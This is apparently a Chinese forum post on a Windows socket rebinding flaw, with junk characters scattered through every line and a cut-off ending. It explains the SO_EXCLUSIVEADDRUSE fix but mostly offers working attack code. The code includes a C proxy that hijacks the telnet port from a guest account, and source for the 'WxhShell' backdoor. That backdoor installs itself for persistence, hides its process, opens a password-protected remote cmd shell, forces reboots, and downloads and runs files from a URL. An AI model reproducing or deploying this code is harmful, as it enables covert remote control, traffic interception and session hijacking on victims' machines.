在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fv^zSoi2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Wk%|%/: I3Vu/&8f| saddr.sin_family = AF_INET;
EF)BezG5y ojM'8z0Hn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
32ki ?\P ^~~Rto)Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wA5Iz{uQO w-K A~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
*tqD:hiF [7I:Dm 这意味着什么?意味着可以进行如下的攻击:
cW%)C.M [G}dPXD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
wn[)/*(,$( L$PbC!1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`+,?%W) L`nW&;w' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5A0]+)5E8 j\ y! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
t%qep| _.s,gX 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Qt.*Z;Gs s5*4<VxQN. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`%Ih'(ne VIAq$iu7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
EH844k8
p mjD^iu8? #include
_&-d0'+ #include
r&LZH.$oh #include
v'hc-Q9+> #include
0D,@^vw bK DWORD WINAPI ClientThread(LPVOID lpParam);
v`|]57?A int main()
'zUV(K?2] {
|m's) WORD wVersionRequested;
OJe!K: DWORD ret;
]9YA~n\ WSADATA wsaData;
u>
{aF{ BOOL val;
:E")Zw&sW3 SOCKADDR_IN saddr;
vkG#G]Qs"; SOCKADDR_IN scaddr;
JBpV'_"] int err;
h.Qk{v SOCKET s;
7!J-/#! SOCKET sc;
Jqxd92 bI int caddsize;
"1a;);S=*) HANDLE mt;
|ke0G DWORD tid;
gv67+Mf wVersionRequested = MAKEWORD( 2, 2 );
`3\aX|4@ err = WSAStartup( wVersionRequested, &wsaData );
2K:A4)jZ if ( err != 0 ) {
AS;Sz/YP printf("error!WSAStartup failed!\n");
yY#h1 return -1;
EXSJ@k6=8s }
6{)pF saddr.sin_family = AF_INET;
_^_3>}y5op og";mC //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
xT>9ZZcE )BJkHED{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6:8s,a3&[k saddr.sin_port = htons(23);
GN_L"|#)= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FAM{p=t]HT {
Au2?f~#Fv printf("error!socket failed!\n");
Htgo=7!?\3 return -1;
B{/og*xd*1 }
UBL{3s^" val = TRUE;
Z1fY' f //SO_REUSEADDR选项就是可以实现端口重绑定的
()aCE^C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U`6|K$@ {
O:0{vu9AQ printf("error!setsockopt failed!\n");
bSe\d~{ return -1;
w+6P x# }
}.g5zy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$`lWW6>P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W` x.qumN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,7wYa& xKu#OH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
znrO~OK {
{F<0e^* ret=GetLastError();
2Hd\>{* printf("error!bind failed!\n");
/l<(i+0 return -1;
N}#Rw2Vl }
JU)^b
V_ listen(s,2);
(u tP@d^ while(1)
z|Y54o3 {
=w3A{h"^ caddsize = sizeof(scaddr);
^iONC&r //接受连接请求
0`E G-Hw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6Amt75RY if(sc!=INVALID_SOCKET)
k^cZePqE6d {
L-(bw3Yr> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gY7sf1\wX if(mt==NULL)
EK# 11@0% {
eWFkUjz printf("Thread Creat Failed!\n");
XR ..DVab break;
4`8s]X }
M0$MK> }
n$2oM5< CloseHandle(mt);
VJ\qp% }
+c%jOl closesocket(s);
T+L=GnYl WSACleanup();
OJu>#
return 0;
@aQ:3/ }
:a{dWgN DWORD WINAPI ClientThread(LPVOID lpParam)
_;3, {
K/zb6=-> SOCKET ss = (SOCKET)lpParam;
zr!7*,
p SOCKET sc;
OB.rETg unsigned char buf[4096];
yBy7d!@2 SOCKADDR_IN saddr;
tU?BR<q long num;
U,!qNi} DWORD val;
]EHsRd DWORD ret;
?7fqWlB //如果是隐藏端口应用的话,可以在此处加一些判断
=@d#@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
CcUF)$kz saddr.sin_family = AF_INET;
;i[JCNiS\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2-@)'6"n saddr.sin_port = htons(23);
Z5xQ
-T` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DinZZ {
&.E/%pQ` printf("error!socket failed!\n");
AO8 #l
YP? return -1;
c>$d!IKCL }
_>vH%FY val = 100;
@RPQ1da if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7G+!9^ {
A8tJ&O
rwY ret = GetLastError();
,marNG return -1;
n{N0S^h }
PPl o0R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
no8\Oees {
Y$>NsgQn6 ret = GetLastError();
<-.@,HQ+ return -1;
)jXKPLj }
]r#b:W\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D9TjjA|zS {
Ja~8ZrcY printf("error!socket connect failed!\n");
;=n}61 closesocket(sc);
ho$}#o closesocket(ss);
HWV A5E[`Y return -1;
ogIu\kiZ }
|@_<^cV110 while(1)
LilK6K {
B:X%k/{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S"*k#ao //如果是嗅探内容的话,可以再此处进行内容分析和记录
j1`<+YT<# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+c/!R|h=S num = recv(ss,buf,4096,0);
693"Pg8b if(num>0)
2->Lz send(sc,buf,num,0);
SZT n=\ else if(num==0)
p0W<K break;
v'
t'{g% num = recv(sc,buf,4096,0);
;.AMP$o`(Y if(num>0)
8Ygf@*9L4 send(ss,buf,num,0);
3UXZ|!- else if(num==0)
g$NUu break;
x:0swZ5Z }
Gx$m"Jeq\ closesocket(ss);
d;<'28A closesocket(sc);
F5X9)9S return 0 ;
:
jkO }
G>"n6v'^d Pl=)eq YY 1Du5Z9AM ==========================================================
"Bwz
Fh E{[Y8U1n 下边附上一个代码,,WXhSHELL
&Z>??|f \)5mO 8w ==========================================================
<pV8
+V) zgz!"knVx #include "stdafx.h"
j_d}?jh p>eYi \' #include <stdio.h>
R`]@.i4tt #include <string.h>
8x-19# #include <windows.h>
/ fUdb=!Z #include <winsock2.h>
3|!3R'g/ > #include <winsvc.h>
EC5= 2w< #include <urlmon.h>
XY{N"S8 e|:\Ps `8 #pragma comment (lib, "Ws2_32.lib")
]d[e #pragma comment (lib, "urlmon.lib")
Ce-=
- }' tJc $! #define MAX_USER 100 // 最大客户端连接数
|J4sQ!%K #define BUF_SOCK 200 // sock buffer
g4k3~,=D3 #define KEY_BUFF 255 // 输入 buffer
Y!45Kio Z$INmo6 #define REBOOT 0 // 重启
JmDxsb^ #define SHUTDOWN 1 // 关机
3#'8S_ bD=H$) #define DEF_PORT 5000 // 监听端口
*lA+-gkK* LU;zpXg\ #define REG_LEN 16 // 注册表键长度
@]IRB1X #define SVC_LEN 80 // NT服务名长度
cY5;~lO OvQzMXU^I // 从dll定义API
xTuJ~$( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
m-$}'mEO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
EpO2%|@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@;Jv/N6@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WZ>nA [/ FRR05%K // wxhshell配置信息
u=Ik&^v
Wq struct WSCFG {
,\iXZ5"R int ws_port; // 监听端口
59{X; char ws_passstr[REG_LEN]; // 口令
'm`}XGUBS int ws_autoins; // 安装标记, 1=yes 0=no
.s>@@m- char ws_regname[REG_LEN]; // 注册表键名
K"VcPDK char ws_svcname[REG_LEN]; // 服务名
5?HwM[` char ws_svcdisp[SVC_LEN]; // 服务显示名
N@tKgx char ws_svcdesc[SVC_LEN]; // 服务描述信息
~tWh6-:|{J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c_ncx|dUs int ws_downexe; // 下载执行标记, 1=yes 0=no
xDU\mfeGj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?7V~>i8[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9#7W+9 hFm^Fy[R };
~C^:SND7 #<==7X# // default Wxhshell configuration
\,Ws=9f struct WSCFG wscfg={DEF_PORT,
O$r/{{I. "xuhuanlingzhe",
n=4 1,
RtR@wZ2\s "Wxhshell",
o}G`t
Bz "Wxhshell",
~n@rX=Y)]0 "WxhShell Service",
a(6h`GHo "Wrsky Windows CmdShell Service",
@*<0:Q|m "Please Input Your Password: ",
D|Q7dIZm 1,
(_4DZMf "
http://www.wrsky.com/wxhshell.exe",
C{m%]jKH "Wxhshell.exe"
[u!n=ev };
?2#'>B y>w;'QR&a // 消息定义模块
&~+QPnI>Pm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VO eVS&} char *msg_ws_prompt="\n\r? for help\n\r#>";
n"RV!{& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?ckV 2
char *msg_ws_ext="\n\rExit.";
b4dviYI char *msg_ws_end="\n\rQuit.";
2#:p:R8I> char *msg_ws_boot="\n\rReboot...";
M 5w/TN char *msg_ws_poff="\n\rShutdown...";
nS3Aadm char *msg_ws_down="\n\rSave to ";
:0B 7lDw )aGSZ1`/ char *msg_ws_err="\n\rErr!";
wHs1ge ( char *msg_ws_ok="\n\rOK!";
ws9IO ?|&G L$3 lsu!4n char ExeFile[MAX_PATH];
R 39_! int nUser = 0;
XfE9QA[ HANDLE handles[MAX_USER];
R+NiIoa int OsIsNt;
Ws|`E`6O P#!N SERVICE_STATUS serviceStatus;
gZ^Qt.6Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
QPB,B>Z ;$&\:-6A# // 函数声明
1N(1h
D int Install(void);
8u~ int Uninstall(void);
:p}8#rb int DownloadFile(char *sURL, SOCKET wsh);
/a^
R$RHl' int Boot(int flag);
w -o#=R_ void HideProc(void);
F<b'{qf" int GetOsVer(void);
':;k<(<- int Wxhshell(SOCKET wsl);
tgG*k$8z void TalkWithClient(void *cs);
m=l'9j"D int CmdShell(SOCKET sock);
M\4`S& int StartFromService(void);
@~$"&B int StartWxhshell(LPSTR lpCmdLine);
t?G6|3 2lsUCQI; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Sp X;nH-D VOID WINAPI NTServiceHandler( DWORD fdwControl );
aA#79LS ~5&4s // 数据结构和表定义
1b1Ab
zN SERVICE_TABLE_ENTRY DispatchTable[] =
Q
>/,QX {
V>T?'GbS {wscfg.ws_svcname, NTServiceMain},
gm)Uyr$ {NULL, NULL}
<$e|'}>A };
q 7%p3 r~)fAb? // 自我安装
T8A(W int Install(void)
#}y8hzS$ {
?Q-Tyf$3 char svExeFile[MAX_PATH];
u|t l@_ HKEY key;
8-x-?7 strcpy(svExeFile,ExeFile);
L_Gw:"-+Q z4SJxL // 如果是win9x系统,修改注册表设为自启动
*p
$0(bz if(!OsIsNt) {
/_l\7MeI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BJUj#s0$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$!>.h*np RegCloseKey(key);
P!|Z%H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PX|@D_%Y= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@p*)^D6E\ RegCloseKey(key);
u5A?; a return 0;
oV:oc, }
0uDDaFS }
@5nFa~*K% }
@/<UhnI else {
*
HKu%g >E+g.5
,:W // 如果是NT以上系统,安装为系统服务
W#<1504ip SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7m-% if (schSCManager!=0)
_aPAn|. {
=lJ
?yuc SC_HANDLE schService = CreateService
"wOfs$w%s (
4`#Q schSCManager,
uem-fTG wscfg.ws_svcname,
DSz[,AaR] wscfg.ws_svcdisp,
7tcadXk0 SERVICE_ALL_ACCESS,
-Ty~lZ)TDT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!}TsFa SERVICE_AUTO_START,
kh0cJE\_^ SERVICE_ERROR_NORMAL,
4uIYX svExeFile,
EpAgKzVpJ NULL,
Vbl-Ff NULL,
geR+v+B, NULL,
Y}c/wF7o NULL,
hU#e\L 7 NULL
h`|04Q );
]j*2PSJG if (schService!=0)
Lg7A[\c
~ {
GjhTF| CloseServiceHandle(schService);
!CYC7HeF CloseServiceHandle(schSCManager);
0M HiW= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
: ZrJL& strcat(svExeFile,wscfg.ws_svcname);
T-%=tY+- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Eu?z! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
X@`a_XAfd RegCloseKey(key);
(P)G|2= return 0;
Q|AZv>'! }
27eG8 }
g5B TZZ CloseServiceHandle(schSCManager);
SQ>i:D; }
SL4?E<Jb }
qG6s.TcG sP(+Z^/ return 1;
5Ml=<^ }
HK!ecQ^+ 6$r\p2pi0 // 自我卸载
Xi&J%N' int Uninstall(void)
W*C~Xba< {
I$7eiW @ HKEY key;
+&
r!%j7 OjUPvR2 0 if(!OsIsNt) {
.hat!Tt9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SB\%"nnV RegDeleteValue(key,wscfg.ws_regname);
jn2=)KBa_ RegCloseKey(key);
A"V
mxP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>7>I1 RegDeleteValue(key,wscfg.ws_regname);
'Z`7/I4& RegCloseKey(key);
y"JR kJ return 0;
<>3)S`C`p }
IO+]^nY` }
yn62NyK }
lgOAc, else {
_>-
D*l (9'^T.J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7{|QkTg C if (schSCManager!=0)
So aqmY;+ {
Op'a=4x] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CFaY= Cy if (schService!=0)
OBWWcL- {
Y2
@8B6 if(DeleteService(schService)!=0) {
Pv'Q3O2<I CloseServiceHandle(schService);
,'X"(tpu@ CloseServiceHandle(schSCManager);
L^+rsxR return 0;
VPUVPq~& }
"}]$ag!`q$ CloseServiceHandle(schService);
q\Y4v Wg }
C%XO|sP CloseServiceHandle(schSCManager);
(>v'0RA }
0*$w(* }
ukWn@q* @?3f`l
9 return 1;
LIZB!S@V \ }
3 t,_{9 ix3LB!k< // 从指定url下载文件
Zl9@E;|= int DownloadFile(char *sURL, SOCKET wsh)
L)sgW(@2 {
[qYr~:` -[ HRESULT hr;
wX,V:QE
char seps[]= "/";
<g[z jV9p char *token;
{a7~P0$ char *file;
vi,hWz8WB char myURL[MAX_PATH];
@Wu-&Lb char myFILE[MAX_PATH];
d?2V2`6 -#|D> strcpy(myURL,sURL);
qA)OkR'm token=strtok(myURL,seps);
cr1x
CPJj while(token!=NULL)
*T5;dh ( {
P$)g=/td1 file=token;
}s}g}t8v- token=strtok(NULL,seps);
<)VgGjZ-H }
!U^{`V jp[ +hxG!o?O GetCurrentDirectory(MAX_PATH,myFILE);
ZitM<Qi&y strcat(myFILE, "\\");
/DYyl/ strcat(myFILE, file);
X]0>0=^ send(wsh,myFILE,strlen(myFILE),0);
<L&EH@T send(wsh,"...",3,0);
*DL7p8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ScPVjqG2{ if(hr==S_OK)
I.<c{4K5 return 0;
2{OR#v~ else
P6:C/B return 1;
/).{h'^Hq\ 7;'33Bm* }
>L7s[vKn ag=d6q // 系统电源模块
t'qYM5 int Boot(int flag)
>yBqi^aL {
~4~`bT9 HANDLE hToken;
yYG<tUG; TOKEN_PRIVILEGES tkp;
Jup)m/ =6%oW2E\ if(OsIsNt) {
22\!Z2@T/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*r7vDc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1\.$=N tkp.PrivilegeCount = 1;
x$Dq0FX!%_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;a:H-iC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)BP*|URc if(flag==REBOOT) {
K@D\5s|1| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)#=J<OpG return 0;
5(1:^:LGK }
-3 I3 X else {
$NXP)Lic) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wKV4-uyr return 0;
#+I'V\[ }
kxn&f(5 }
25^?|9o 7 else {
bF'rK'', if(flag==REBOOT) {
-fR:W{u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}lJ;|kx$
return 0;
hp\&g2_S0W }
NxT"A)u else {
zkQ[< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+X}i%F' return 0;
"t@p9> }
9Em#Ela }
*XVwTW[a A4K.,bZ return 1;
{$*N1$(% }
).k DY?s @-N` W9 // win9x进程隐藏模块
qWt}8_" void HideProc(void)
-yYdj1y; {
N;7/C
`8:0x?X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nwRltK if ( hKernel != NULL )
7e/+C{3v {
[K!9xM6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Gr"CHz/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?1e{\XW FreeLibrary(hKernel);
;JW_4;- }
I[\~pi, UM}u(;oo%) return;
}pc9uvmIJ }
O] _4pP 7nZPh3% // 获取操作系统版本
e#eVc'=cDR int GetOsVer(void)
x&}]8S) {
*GP2>oEM OSVERSIONINFO winfo;
jG5HW*>k0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nB[-KS GetVersionEx(&winfo);
wT1s;2 % if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2G8pDvBr return 1;
e~'`x38 else
jN=<dq
~ return 0;
P&-o>mM }
<Au2e iCt.rr~;V // 客户端句柄模块
+n3I\7G> int Wxhshell(SOCKET wsl)
2_o#Gx' {
nQ%HtXt; SOCKET wsh;
vW63j't_ struct sockaddr_in client;
{h<D/:^v DWORD myID;
@[$_cGR7 y4V:)@P while(nUser<MAX_USER)
s0kp(t!fiu {
gT+/nSrLV int nSize=sizeof(client);
enoj4g7em^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i;[y!U if(wsh==INVALID_SOCKET) return 1;
2|1fb-AR &hCbXs= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
'6KvB if(handles[nUser]==0)
'j1e(wq closesocket(wsh);
EeIDlm0o else
}\pI`;*O| nUser++;
P T"}2sR) }
}Q7y tE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4#U}bN D}-.< return 0;
XQ}Zr/f6 }
,Z.sGv Rx%S<i;9 // 关闭 socket
^5mc$~1` void CloseIt(SOCKET wsh)
L9x-90'q, {
v
gN!9 closesocket(wsh);
!> UlvT- nUser--;
+)]YvZ6%[, ExitThread(0);
$YYWpeW
' }
<hT\xBb: ^;C& // 客户端请求句柄
rg/{5f void TalkWithClient(void *cs)
DwD$T%kF {
b7Y g~Lw 74s{b]jN'- SOCKET wsh=(SOCKET)cs;
|<%!9Z char pwd[SVC_LEN];
KKeMi@N char cmd[KEY_BUFF];
GQ_KYS{ char chr[1];
MvVpp;bd int i,j;
AeJ ;g voWH.[n^_ while (nUser < MAX_USER) {
49$P <LX\s*M) if(wscfg.ws_passstr) {
O5\r%&$xd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_z5/&tm_H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qm%F]nyy //ZeroMemory(pwd,KEY_BUFF);
`-NK:;^ i=0;
GW2\YU^{ while(i<SVC_LEN) {
yMs!6c* S0$^|/Sr // 设置超时
N2r zHK fd_set FdRead;
AerU`^ struct timeval TimeOut;
Ebg8qDE
FD_ZERO(&FdRead);
5/H,UL FD_SET(wsh,&FdRead);
,'#TdLe TimeOut.tv_sec=8;
7y=>Wa ?T[ TimeOut.tv_usec=0;
E-LkP; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M .#} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3? {AGJ1 k.T=&0J_1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LZ*8YNp1' pwd
=chr[0]; -@TY8#O#-
if(chr[0]==0xd || chr[0]==0xa) { SnCwoxK
pwd=0; :=QX ^*
break; qHtQ4_Zn;
} R!nf^*~
i++; 1/_g36\l$
} K!|eN_1A
VK}4<u
// 如果是非法用户,关闭 socket 8&<:(mAP
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rTD +7
)E
} ?vXgHDs^T
5=>1>HYM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9>}&dQ8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '3.\+^3
$:ush"=f8^
while(1) { nD
wh
"CJVtO
ZeroMemory(cmd,KEY_BUFF); j50vPV8m
MJn-] E
// 自动支持客户端 telnet标准 _k84#E0
j=0; r924!zdbR
while(j<KEY_BUFF) { =C\Tl-$\f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T^bAO-d#
cmd[j]=chr[0]; rb?7i&-
if(chr[0]==0xa || chr[0]==0xd) { F!z0N
cmd[j]=0; \ovs[&
break; f}otIf
} a[{$4JpK
j++; 3i^X9[.
} F%>$WN#2
C=D*
// 下载文件 1ni+)p>]
if(strstr(cmd,"http://")) { 6jE.X
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &OR(]Wt0
if(DownloadFile(cmd,wsh)) ;$p !dI\-Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IUMv{2C
else Pwh}hG1sa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q8 v iC|
} rxCzPF
else { N:j7J
:;?$5h*|`
switch(cmd[0]) { 2a d|v]
2D\pt
// 帮助 LIg1U
case '?': { <o EAy
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +{UY9_~\3
break; D%SOX N
} XM'tIE+|
// 安装 w[~G^x&
case 'i': { m^X51,+<
if(Install()) I{Du/"r#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n,I3\l9
else .Rr^AGA4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %9-^,og
break; y6(PG:L
} {!,K[QwcI
// 卸载 6<&~R3dQ
case 'r': { KsDS!O
if(Uninstall()) U}92%W?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hBgE%#`s
else g 9,"u_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F^,:p.ihm<
break; $]7f1U_e
} Mj0,Y#=76
// 显示 wxhshell 所在路径 CmEqo;Is
case 'p': { 'g#%>
char svExeFile[MAX_PATH]; )~2\4t4|g
strcpy(svExeFile,"\n\r"); \JLGw1F
strcat(svExeFile,ExeFile); Bdo{zv&A
send(wsh,svExeFile,strlen(svExeFile),0); y r (g/0
break; y
oW~
} .?}M(mL
// 重启 c*KE3:
case 'b': { ~IhAO}1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9a`LrB
if(Boot(REBOOT)) R hWQ:l]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YRZ\nun
else { GDu^P+^
closesocket(wsh); }[0nTd
ExitThread(0); qqDg2,Yb
} Z\
hcK:
break; *85N_+Wv!
} z/t|'8f
// 关机 <2U#U;
case 'd': { 7q0_lEh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dT|XcVKg
if(Boot(SHUTDOWN)) WJ{Iv] }9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_~ A*LM
else { d$IROZK-D
closesocket(wsh); H'AN osv
ExitThread(0); Ft5A(P >
} *%xbn8
break; @3`5(xwzm
} =rKJJa N
// 获取shell b.*LmSX#
case 's': { c^}G=Z1@
CmdShell(wsh); .*zN@y3
closesocket(wsh); ]r`;89:s>
ExitThread(0); -K{R7
break; "vGh/sXW
} 0 C4eer+D
// 退出 i/:L^SQAq
case 'x': {
PMjNc_))
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U[C>Aoze
CloseIt(wsh); s`yzeo
break; w8lrpbLh
} zx@!8Z
// 离开 JFv70rBe
case 'q': { SxF'2ii
send(wsh,msg_ws_end,strlen(msg_ws_end),0); aH}/+Hu-
closesocket(wsh); $6Ma{r C|
WSACleanup(); qbyYNlXqm
exit(1); \'|n.1Fr
break; }`=7%b`-?
} e=;A3S
} CR4O#f8\
} Av x`
i'fw>-0
// 提示信息 M CC4'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3.W[]zH/u
} @CNJpQ ujn
} #]h
X."b2
APu$t$dmm
return; -YNpHd/;,
} FjCGD4x1N
rLTBBvV
// shell模块句柄 \$ 9C1@B@
int CmdShell(SOCKET sock) 2 "&GH1
{ \,S|>CPQ
STARTUPINFO si; 9'MGv*Ho
ZeroMemory(&si,sizeof(si)); 8LV6E5Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /2Izj/Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?LMQz=
PROCESS_INFORMATION ProcessInfo; y._'o7 %
char cmdline[]="cmd"; ~'M<S=W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =lAjQt
return 0; IfmQPs+f
} [,Ehu<mEK
L<FXtBJ
// 自身启动模式 E{
/,
b)
int StartFromService(void) /LFuf`bXV
{ vyZ&%?{*R
typedef struct 7O1MC 8{
{ '$FF/|{
DWORD ExitStatus; ]SJ#:7
DWORD PebBaseAddress; 7z?;z<VJ
DWORD AffinityMask; |d0ZB_ci
